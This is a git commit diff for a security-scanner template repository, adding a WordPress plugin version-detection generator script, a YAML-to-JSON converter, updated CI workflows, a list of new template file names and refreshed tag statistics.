Auto Generated New Template Addition List [Fri Jan 27 10:40:37 UTC 2023] 🤖

Support to detect myStrom plugs

.github/auto_assign.yml

@@ -0,0 +1,30 @@
+# Set to true to add reviewers to pull requests
+addReviewers: true
+
+# Set to true to add assignees to pull requests
+addAssignees: true
+
+# A list of reviewers to be added to pull requests (GitHub user name)
+reviewers:
+  - ritikchaddha
+  - DhiyaneshGeek
+  - pussycat0x
+
+# A number of reviewers added to the pull request
+# Set 0 to add all the reviewers (default: 0)
+numberOfReviewers: 1
+
+ # A list of assignees, overrides reviewers if set
+assignees:
+  - DhiyaneshGeek
+  - pussycat0x
+  - ritikchaddha
+
+# A number of assignees to add to the pull request
+# Set to 0 to add all of the assignees.
+# Uses numberOfReviewers if unset.
+numberOfAssignees: 1
+
+# A list of keywords to be skipped the process that add reviewers if pull requests include it
+# skipKeywords:
+#   - wip

.github/scripts/wordpress-plugins-update-requirements.txt

@@ -0,0 +1,10 @@
+beautifulsoup4==4.11.1
+bs4==0.0.1
+certifi==2022.9.24
+charset-normalizer==2.1.1
+idna==3.4
+Markdown==3.4.1
+requests==2.28.1
+soupsieve==2.3.2.post1
+termcolor==2.1.1
+urllib3==1.26.13

.github/scripts/wordpress-plugins-update.py

@@ -0,0 +1,185 @@
+#!/usr/bin/env python3
+
+'''
+This script reads the URL https://wordpress.org/plugins/browse/popular/ until page 10, extract each plugin name and namespace,
+then in http://plugins.svn.wordpress.org/ website, looks for the "Stable tag" inside the readme.txt and extract the last version
+number from trunk branch. Finally generates a template and a payload file with last version number to be used during scan that
+compares the detect version with the payload version.
+
+The generated template also includes the tags top-100 and top-200 allowing filtering.
+
+e.g.
+nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+'''
+
+__author__ = "ricardomaia"
+
+from time import sleep
+from bs4 import BeautifulSoup
+import requests
+import re
+from markdown import markdown
+import os
+from termcolor import colored, cprint
+
+# Regex to extract the name of th plugin from the URL
+regex = r"https://wordpress.org/plugins/(\w.+)/"
+
+ranking = 1
+
+# Top 200 Wordpress Plugins
+for page_number in range(1, 11):
+
+    html = requests.get(url=f"https://wordpress.org/plugins/browse/popular/page/{page_number}", headers={
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
+        "Accept-Language": "en-US,en;q=0.9",
+        "Accept-Encoding": "gzip, deflate",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+        "Connection": "keep-alive",
+        "Upgrade-Insecure-Requests": "1",
+        "Cache-Control": "max-age=0",
+        "Pragma": "no-cache",
+    }).content
+
+    # Parse HTML
+    soup = BeautifulSoup(html, 'html.parser')
+    results = soup.find(id="main")
+    articles = results.find_all("article", class_="plugin-card")
+
+    # Setting the top tag
+    top_tag = "top-100,top-200" if page_number <= 5 else "top-200"
+
+    # Get each plugin in the page
+    for article in articles:
+
+        full_title = article.find("h3", class_="entry-title").get_text()
+        regex_remove_quotes = r"[\"`:]"
+        subst_remove_quotes = "'"
+        title = re.sub(regex_remove_quotes, subst_remove_quotes, full_title)
+
+        link = article.find("a").get("href")
+        name = re.search(regex, link).group(1)
+
+        cprint(f"Title: {title}", "cyan")
+        cprint(f"Link: {link}", "yellow")
+        cprint(f"Name: {name} - Ranking: {ranking}", "green")
+        print(f"Page Number: {page_number}")
+        print(f"Top Tag: {top_tag}")
+        print(f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt")
+        ranking += 1
+
+        sleep(0.2)
+
+        # Get the readme.txt file from SVN
+        readme = requests.get(
+            url=f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt",
+            headers={
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
+                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+                "Accept-Encoding": "gzip, deflate",
+                "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6",
+                "Cache-Control": "no-cache",
+                "Connection": "keep-alive",
+                "Host": "plugins.svn.wordpress.org",
+                "Pragma": "no-cache",
+                "Upgrade-Insecure-Requests": "1",
+                "Referer": "http://plugins.svn.wordpress.org/{name}/trunk/"}).content
+
+        # Extract the plugin version
+        try:
+            version = re.search(r"(?i)Stable.tag:\s+([\w.]+)",
+                                readme.decode("utf-8")).group(1)
+        except:
+            version = "N/A"
+
+        # Extract the plugin description
+        try:
+            description_markdown = re.search(
+                r"(?i)==.Description.==\W+\n?(.*)", readme.decode("utf-8")).group(1)
+            html = markdown(description_markdown)
+            full_description = BeautifulSoup(html, 'html.parser').get_text()
+            regex_max_length = r"(\b.{80}\b)"
+            subst_max_lenght = "\\g<1>\\n    "
+            description = re.sub(
+                regex_max_length, subst_max_lenght, full_description, 0, re.MULTILINE)
+        except:
+            description = "N/A"
+
+        print(f"Version: {version}")
+        print(f"Description: {description}")
+
+        # Write the plugin template to file
+        template = f'''id: wordpress-{name}
+
+info:
+  name: {title} Detection
+  author: ricardomaia
+  severity: info
+  reference:
+    - https://wordpress.org/plugins/{name}/
+  metadata:
+    plugin_namespace: {name}
+    wpscan: https://wpscan.com/plugin/{name}
+  tags: tech,wordpress,wp-plugin,{top_tag}
+
+requests:
+  - method: GET
+
+    path:
+      - "{{{{BaseURL}}}}/wp-content/plugins/{name}/readme.txt"
+
+    payloads:
+      last_version: helpers/wordpress/plugins/{name}.txt
+
+    extractors:
+      - type: regex
+        part: body
+        internal: true
+        name: internal_detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+      - type: regex
+        part: body
+        name: detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: "outdated_version"
+        dsl:
+          - compare_versions(internal_detected_version, concat("< ", last_version))
+
+      - type: regex
+        part: body
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+'''
+
+        work_dir = os.getcwd()
+        print(f"Current working directory: {work_dir}")
+        helper_dir = f"{work_dir}/helpers/wordpress/plugins"
+        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+
+        if not os.path.exists(helper_dir):
+            os.makedirs(helper_dir)
+
+        if not os.path.exists(template_dir):
+            os.makedirs(template_dir)
+
+        helper_path = f"helpers/wordpress/plugins/{name}.txt"
+        version_file = open(helper_path, "w")
+        version_file.write(version)
+        version_file.close()
+
+        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_file = open(template_path, "w")  # Dev environment
+        template_file.write(template)
+        template_file.close()
+
+        print("--------------------------------------------")
+        print("\n")

.github/scripts/yaml2json.go

@@ -0,0 +1,92 @@
+package main
+
+import (
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"gopkg.in/yaml.v3"
+)
+
+type Classification struct {
+	CVSSScore string `yaml:"cvss-score,omitempty"`
+}
+
+type Info struct {
+	Name        string         `yaml:"name"`
+	Severity    string         `yaml:"severity"`
+	Description string         `yaml:"description"`
+	Classification Classification `yaml:"classification,omitempty"`
+}
+
+type Data struct {
+	ID          string `yaml:"id"`
+	Info        Info   `yaml:"info"`
+	FilePath    string `json:"file_path"`
+}
+
+func main() {
+	if len(os.Args) != 3 {
+		fmt.Println("Usage: go run main.go <directory> <output_file>")
+		os.Exit(1)
+	}
+
+	directory := os.Args[1]
+	outputFile := os.Args[2]
+
+	var data []Data
+
+	err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
+		if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
+			yamlFile, err := ioutil.ReadFile(path)
+                if err != nil {
+                    fmt.Printf("Error reading YAML file %s: %v\n", path, err)
+                    return err
+                }
+    
+                var d Data
+                err = yaml.Unmarshal(yamlFile, &d)
+                if err != nil {
+                    fmt.Printf("Error unmarshalling YAML file %s: %v\n", path, err)
+                    return err
+                }
+                if d.Info.Classification.CVSSScore == "" {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+                if d.Info.Classification == (Classification{}) {
+                    d.Info.Classification.CVSSScore = "N/A"
+                }
+                d.FilePath = path
+    
+                data = append(data, d)
+            }
+            return nil
+        })
+    
+        if err != nil {
+            fmt.Printf("Error reading directory: %v\n", err)
+            os.Exit(1)
+        }
+    
+        var jsonData []byte
+        for _, d := range data {
+            temp, err := json.Marshal(d)
+            if err != nil {
+                fmt.Printf("Error marshalling JSON: %v\n", err)
+                os.Exit(1)
+            }
+            jsonData = append(jsonData, temp...)
+            jsonData = append(jsonData, byte('\n'))
+        }
+        err = ioutil.WriteFile(outputFile, jsonData, 0644)
+        if err != nil {
+            fmt.Printf("Error writing JSON data to file: %v\n", err)
+            os.Exit(1)
+        }
+    
+        fmt.Println("JSON data written to", outputFile)
+    }
+    

.github/workflows/cve-annotate.yml

@@ -3,37 +3,35 @@ name: ✍🏻 CVE Annotate
 on:
   push:
     branches:
-      - master
+      - main
+    paths:
+      - 'cves/**.yaml'
   workflow_dispatch:
 
 jobs:
   docs:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0
 
-      - name: Get Github tag
-        id: meta
-        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
 
-      - name: Setup CVE annotate
-        if: steps.meta.outputs.tag != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/cve-annotate.zip
-          sudo unzip cve-annotate.zip -d /usr/local/bin
-        working-directory: /tmp
+      - name: cve-annotate install
+        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/cve-annotate@latest
 
       - name: Generate CVE Annotations
         id: cve-annotate
         run: |
           cve-annotate -i . -d .
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
         run: |
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
@@ -42,7 +40,7 @@ jobs:
           git commit -m "Auto Generated CVE annotations [$(date)] :robot:" -a
 
       - name: Push changes
-        if: steps.cve-annotate.outputs.changes > 0
+        if: steps.cve-annotate.outputs.CHANGES > 0
         uses: ad-m/github-push-action@master
         with:
           github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/cve2json.yml

@@ -0,0 +1,38 @@
+name: Generate JSON Metadata of CVE Templates 
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
+          check-latest: true
+          
+      - name: run yaml2json.go to generate cves.json
+        run: |
+           go env -w GO111MODULE=off
+           go get gopkg.in/yaml.v3
+           go run .github/scripts/yaml2json.go /home/runner/work/nuclei-templates/nuclei-templates/cves/ cves.json
+          
+      - name: Commit files
+        run: |
+          git pull
+          git add cves.json
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated cves.json [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master

.github/workflows/new-templates.yml

@@ -3,7 +3,9 @@ name: 🥳 New Template List
 on:
   push:
     branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
   workflow_dispatch:
 
 jobs:

.github/workflows/readme-update.yml

@@ -30,17 +30,17 @@ jobs:
         id: readme-update
         run: |
           python .github/scripts/update-readme.py
-          echo "::set-output name=changes::$(git status -s | wc -l)"
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
         run: |
           git config --local user.email "[email protected]"
           git config --local user.name "GitHub Action"
           git commit -m "Auto README Update [$(date)] :robot:" -a
 
       - name: Push changes
-        if: steps.readme-update.outputs.changes > 0
+        if: steps.readme-update.outputs.CHANGES > 0
         uses: ad-m/github-push-action@master
         with:
           github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/syntax-checking.yml

@@ -1,6 +1,10 @@
 name: ❄️ YAML Lint
 
-on: [push, pull_request]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
 
 jobs:
   build:

.github/workflows/template-checksum.yml

@@ -0,0 +1,41 @@
+name: 📝 Template Checksum
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
+          check-latest: true
+          cache: true
+
+      - name: install checksum generator
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
+
+      - name: generate checksum
+        run: |
+          generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+
+      - name: Commit files
+        run: |
+          git pull
+          git add templates-checksum.txt
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master

.github/workflows/template-db-indexer.yml

@@ -3,18 +3,21 @@ name: 📑 Template-DB Indexer
 on:
   push:
     branches:
-      - master
+      - main
+    paths:
+      - '**.yaml'
   workflow_dispatch:
 
 jobs:
   index:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/setup-go@v2
+      - name: Set up Go
+        uses: actions/setup-go@v3
         with:
-          go-version: 1.17
+          go-version: 1.19
 
-      - name: Intalling Indexer
+      - name: Installing Indexer
         run: |
           git config --global url."https://${{ secrets.ACCESS_TOKEN }}@github".insteadOf https://github
           git clone https://github.com/projectdiscovery/nucleish-api.git
@@ -26,4 +29,4 @@ jobs:
           AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
           AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
         run: |
-          generate-index -mode templates
+          generate-index -mode templates

.github/workflows/template-validate.yml

@@ -1,26 +1,26 @@
 name: 🛠 Template Validate
 
-on: [ push, pull_request ]
+on:
+  pull_request:
+    paths:
+      - '**.yaml'
+  workflow_dispatch:
 
 jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
+        with: 
+          fetch-depth: 0
 
-      - name: Get Github tag
-        id: meta
-        run: |
-          echo "::set-output name=tag::$(curl --silent "https://api.github.com/repos/projectdiscovery/nuclei/releases/latest" | jq -r .tag_name)"
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
 
-      - name: Setup Nuclei
-        if: steps.meta.outputs.tag != ''
-        env:
-          VERSION: ${{ steps.meta.outputs.tag }}
-        run: |
-          wget -q https://github.com/projectdiscovery/nuclei/releases/download/${VERSION}/nuclei_${VERSION:1}_linux_amd64.zip
-          sudo unzip nuclei*.zip -d /usr/local/bin
-        working-directory: /tmp
+      - name: nuclei install
+        run: go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
 
       - name: Template Validation
         run: |

.github/workflows/templates-stats.yml

@@ -10,10 +10,14 @@ jobs:
   build:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@master
-      - uses: actions/setup-go@v2
+      - uses: actions/checkout@v3
         with: 
-          go-version: 1.17
+          fetch-depth: 0
+
+      - name: Set up Go
+        uses: actions/setup-go@v3
+        with:
+          go-version: 1.19
 
       - name: Installing Template Stats
         run: |
@@ -37,10 +41,10 @@ jobs:
 
       - name: Get statistical changes
         id: stats
-        run: echo "::set-output name=changes::$(git status -s | wc -l)"
+        run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
 
       - name: Commit files
-        if: steps.stats.outputs.changes > 0
+        if: steps.stats.outputs.CHANGES > 0
         run: |
           git add TEMPLATES-STATS.*
           git add TOP-10.md
@@ -51,5 +55,4 @@ jobs:
       - name: Push changes
         uses: ad-m/github-push-action@master
         with:
-          github_token: ${{ secrets.GITHUB_TOKEN }}
-          branch: master
+          github_token: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/wordpress-plugins-update.yml

@@ -0,0 +1,45 @@
+name: ✨ WordPress Plugins - Update
+
+on:
+  schedule:
+    - cron: "0 4 * * *" # every day at 4am UTC
+  workflow_dispatch:
+
+jobs:
+  Update:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: actions/checkout@v3
+        with:
+          persist-credentials: false # otherwise, the token used is the GITHUB_TOKEN, instead of your personal token
+          fetch-depth: 0 # otherwise, you will failed to push refs to dest repo
+
+      - name: Install Python3
+        uses: actions/setup-python@v4
+        with:
+          python-version: "3.10"
+      - run: |
+          python -m pip install --upgrade pip
+          pip install -r .github/scripts/wordpress-plugins-update-requirements.txt
+
+      - name: Update Templates
+        id: update-templates
+        run: |
+          python3 .github/scripts/wordpress-plugins-update.py
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.update-templates.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add --all
+          git commit -m "Auto WordPress Plugins Update [$(date)] :robot:"
+
+      - name: Push changes
+        if: steps.update-templates.outputs.CHANGES > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}

.new-additions

@@ -1,50 +1,30 @@
-cves/2021/CVE-2021-25003.yaml
-cves/2021/CVE-2021-40661.yaml
-cves/2022/CVE-2022-0817.yaml
-cves/2022/CVE-2022-22242.yaml
-cves/2022/CVE-2022-38870.yaml
-cves/2022/CVE-2022-42233.yaml
-default-logins/xnat-default-login.yaml
-exposed-panels/allied-telesis-exposure.yaml
-exposed-panels/ampache-panel.yaml
-exposed-panels/biotime-panel.yaml
-exposed-panels/cisco/cisco-anyconnect-vpn.yaml
-exposed-panels/connectwise-backup-manager.yaml
-exposed-panels/eko-management-console-login.yaml
-exposed-panels/eko-software-update-panel.yaml
-exposed-panels/gira-homeserver-homepage.yaml
-exposed-panels/hangfire-dashboard.yaml
-exposed-panels/labkey-server-login.yaml
-exposed-panels/nginx-admin-panel.yaml
-exposed-panels/nginx-ui-dashboard.yaml
-exposed-panels/nport-web-console.yaml
-exposed-panels/ourmgmt3-panel.yaml
-exposed-panels/xiaomi-wireless-router-login.yaml
-exposed-panels/xnat-login.yaml
-misconfiguration/ampache-update-exposure.yaml
-misconfiguration/debug/ampache-debug.yaml
-misconfiguration/debug/bottle-debug.yaml
-misconfiguration/debug/flask-werkzeug-debug.yaml
-misconfiguration/debug/github-debug.yaml
-misconfiguration/espeasy-mega-exposure.yaml
-misconfiguration/global-traffic-statistics.yaml
-misconfiguration/healthchecks-ui-exposure.yaml
-misconfiguration/hfs-exposure.yaml
-misconfiguration/installer/ampache-music-installer.yaml
-misconfiguration/installer/espeasy-installer.yaml
-misconfiguration/installer/moodle-installer.yaml
-misconfiguration/installer/sms-installer.yaml
-misconfiguration/questdb-console.yaml
-misconfiguration/qvidium-management-system-exposed.yaml
-misconfiguration/rekognition-image-validation.yaml
-misconfiguration/smarterstats-setup.yaml
-network/detection/activemq-openwire-transport-detect.yaml
-network/detection/apache-activemq-detect.yaml
-network/detection/axigen-mail-server-detect.yaml
-network/detection/rabbitmq-detect.yaml
-network/detection/riak-detect.yaml
-technologies/catalog-creator-detect.yaml
-technologies/coming-soon-page-detect.yaml
-technologies/google/cloud-run-default-page.yaml
-technologies/php-detect.yaml
-technologies/vivotex-web-console-detect.yaml
+cves/2017/CVE-2017-1000163.yaml
+cves/2022/CVE-2022-1168.yaml
+cves/2022/CVE-2022-32429.yaml
+cves/2022/CVE-2022-39195.yaml
+exposed-panels/completeview-web-panel.yaml
+exposed-panels/connect-box-login.yaml
+exposed-panels/esphome-panel.yaml
+exposed-panels/fortinet/fortios-management-panel.yaml
+exposed-panels/mystrom-panel.yaml
+exposed-panels/pulsar-admin-console.yaml
+exposed-panels/pulsar-adminui-panel.yaml
+exposed-panels/pulsar360-admin-panel.yaml
+exposed-panels/saltstack-config-panel.yaml
+exposed-panels/sqlbuddy-panel.yaml
+exposures/configs/cypress-web-config.yaml
+file/android/deep-link-detect.yaml
+headless/headless-open-redirect.yaml
+miscellaneous/exposed-file-upload-form.yaml
+misconfiguration/esphome-dashboard.yaml
+misconfiguration/installer/nagiosxi-installer.yaml
+misconfiguration/rethinkdb-admin-console.yaml
+misconfiguration/sound4-directory-listing.yaml
+misconfiguration/syncthing-dashboard.yaml
+misconfiguration/webalizer-statistics.yaml
+technologies/default-lighttpd-placeholder-page.yaml
+vulnerabilities/other/academy-lms-xss.yaml
+vulnerabilities/other/slims-xss.yaml
+vulnerabilities/other/sound4-file-disclosure.yaml
+vulnerabilities/other/tikiwiki-xss.yaml
+vulnerabilities/vmware/vmware-cloud-xss.yaml

README.md

@@ -40,20 +40,20 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 ## Nuclei Templates Top 10 statistics
 
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1504 | dhiyaneshdk   |   677 | cves             |  1482 | info     |  1579 | http    |  4129 |
-| panel     |   721 | daffainfo     |   656 | exposed-panels   |   727 | high     |  1118 | file    |    77 |
-| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   518 | medium   |   810 | network |    63 |
-| xss       |   525 | pdteam        |   273 | misconfiguration |   305 | critical |   532 | dns     |    17 |
-| lfi       |   517 | geeknik       |   196 | technologies     |   299 | low      |   242 |         |       |
-| exposure  |   487 | dwisiswant0   |   171 | exposures        |   299 | unknown  |    20 |         |       |
-| wordpress |   453 | 0x_akoko      |   167 | token-spray      |   235 |          |       |         |       |
-| cve2021   |   363 | pussycat0x    |   151 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   348 | princechaddha |   151 | default-logins   |   110 |          |       |         |       |
-| rce       |   342 | ritikchaddha  |   149 | file             |    77 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
+|-----------|-------|--------------|-------|------------------|-------|----------|-------|---------|-------|
+| cve       |  1575 | dhiyaneshdk  |   708 | cves             |  1552 | info     |  1919 | http    |  4631 |
+| panel     |   803 | daffainfo    |   662 | exposed-panels   |   805 | high     |  1170 | network |    84 |
+| wordpress |   684 | pikpikcu     |   344 | technologies     |   529 | medium   |   849 | file    |    78 |
+| edb       |   583 | pdteam       |   273 | vulnerabilities  |   528 | critical |   568 | dns     |    17 |
+| wp-plugin |   579 | geeknik      |   220 | misconfiguration |   372 | low      |   294 |         |       |
+| exposure  |   573 | ricardomaia  |   210 | exposures        |   325 | unknown  |    26 |         |       |
+| tech      |   567 | pussycat0x   |   181 | token-spray      |   237 |          |       |         |       |
+| xss       |   549 | dwisiswant0  |   171 | workflows        |   190 |          |       |         |       |
+| lfi       |   522 | 0x_akoko     |   171 | default-logins   |   122 |          |       |         |       |
+| cve2021   |   375 | ritikchaddha |   167 | file             |    78 |          |       |         |       |
 
-**306 directories, 4520 files**.
+**337 directories, 5307 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1504},{"name":"panel","count":721},{"name":"edb","count":574},{"name":"xss","count":525},{"name":"lfi","count":517},{"name":"exposure","count":487},{"name":"wordpress","count":453},{"name":"cve2021","count":363},{"name":"wp-plugin","count":348},{"name":"rce","count":342},{"name":"tech","count":312},{"name":"packetstorm","count":290},{"name":"wpscan","count":240},{"name":"cve2022","count":236},{"name":"token-spray","count":235},{"name":"cve2020","count":217},{"name":"","count":195},{"name":"misconfig","count":182},{"name":"unauth","count":181},{"name":"wp","count":170},{"name":"kev","count":167},{"name":"config","count":162},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"oast","count":127},{"name":"default-login","count":126},{"name":"apache","count":124},{"name":"iot","count":118},{"name":"authenticated","count":116},{"name":"cve2010","count":111},{"name":"sqli","count":107},{"name":"redirect","count":89},{"name":"files","count":89},{"name":"router","count":89},{"name":"login","count":88},{"name":"devops","count":75},{"name":"takeover","count":74},{"name":"token","count":73},{"name":"ssrf","count":72},{"name":"cve2017","count":70},{"name":"cms","count":67},{"name":"network","count":67},{"name":"auth-bypass","count":63},{"name":"file","count":63},{"name":"oracle","count":62},{"name":"intrusive","count":58},{"name":"seclists","count":56},{"name":"disclosure","count":54},{"name":"cve2016","count":49},{"name":"cisco","count":48},{"name":"cve2015","count":47},{"name":"install","count":47},{"name":"google","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"oss","count":45},{"name":"plugin","count":41},{"name":"aem","count":41},{"name":"cve2014","count":41},{"name":"vulhub","count":38},{"name":"vmware","count":38},{"name":"atlassian","count":37},{"name":"logs","count":36},{"name":"tenable","count":35},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":33},{"name":"jira","count":32},{"name":"hackerone","count":32},{"name":"listing","count":31},{"name":"kubernetes","count":29},{"name":"generic","count":28},{"name":"huntr","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"microsoft","count":24},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"misc","count":23},{"name":"debug","count":22},{"name":"aws","count":22},{"name":"zoho","count":21},{"name":"wp-theme","count":21},{"name":"php","count":21},{"name":"manageengine","count":21},{"name":"fuzz","count":21},{"name":"weblogic","count":20},{"name":"cve2012","count":20},{"name":"camera","count":19},{"name":"api","count":19},{"name":"tomcat","count":19},{"name":"deserialization","count":19},{"name":"cloud","count":19},{"name":"k8s","count":19},{"name":"cicd","count":19},{"name":"ibm","count":18},{"name":"dlink","count":18},{"name":"service","count":18},{"name":"firewall","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"ftp","count":17},{"name":"struts","count":16},{"name":"cve2009","count":15},{"name":"xxe","count":15},{"name":"gitlab","count":15},{"name":"cve2011","count":15},{"name":"java","count":14},{"name":"msf","count":14},{"name":"printer","count":14},{"name":"fortinet","count":14},{"name":"android","count":14},{"name":"hp","count":14},{"name":"domainmod","count":14},{"name":"magento","count":13},{"name":"amazon","count":13},{"name":"lfr","count":13},{"name":"cve2013","count":13},{"name":"status","count":13},{"name":"abstractapi","count":13},{"name":"glpi","count":13},{"name":"nginx","count":13},{"name":"woocommerce","count":13},{"name":"ruijie","count":13},{"name":"confluence","count":12},{"name":"graphql","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"netsweeper","count":12},{"name":"microweber","count":12},{"name":"drupal","count":12},{"name":"backdoor","count":11},{"name":"fortigate","count":11},{"name":"airflow","count":11},{"name":"backup","count":11},{"name":"webserver","count":11},{"name":"cisa","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cve2008","count":11},{"name":"jolokia","count":10},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"zyxel","count":10},{"name":"github","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"ruby","count":10},{"name":"vpn","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"kube","count":9},{"name":"git","count":9},{"name":"prometheus","count":9},{"name":"wso2","count":9},{"name":"fastjson","count":9},{"name":"sonicwall","count":9},{"name":"vcenter","count":9},{"name":"phpmyadmin","count":9},{"name":"windows","count":9},{"name":"zabbix","count":9},{"name":"zimbra","count":9},{"name":"dedecms","count":9},{"name":"ssti","count":9},{"name":"auth","count":9},{"name":"iis","count":9},{Line truncated
+{"tags":[{"name":"cve","count":1575},{"name":"panel","count":803},{"name":"wordpress","count":684},{"name":"edb","count":583},{"name":"wp-plugin","count":579},{"name":"exposure","count":573},{"name":"tech","count":567},{"name":"xss","count":549},{"name":"lfi","count":522},{"name":"cve2021","count":375},{"name":"rce","count":352},{"name":"packetstorm","count":295},{"name":"cve2022","count":283},{"name":"wpscan","count":268},{"name":"misconfig","count":242},{"name":"token-spray","count":237},{"name":"cve2020","count":224},{"name":"unauth","count":211},{"name":"wp","count":201},{"name":"top-200","count":200},{"name":"","count":195},{"name":"config","count":173},{"name":"kev","count":168},{"name":"cve2018","count":145},{"name":"default-login","count":139},{"name":"cve2019","count":138},{"name":"joomla","count":135},{"name":"iot","count":132},{"name":"apache","count":131},{"name":"oast","count":128},{"name":"sqli","count":126},{"name":"authenticated","count":124},{"name":"cve2010","count":111},{"name":"files","count":101},{"name":"top-100","count":100},{"name":"router","count":95},{"name":"redirect","count":91},{"name":"login","count":89},{"name":"network","count":88},{"name":"devops","count":76}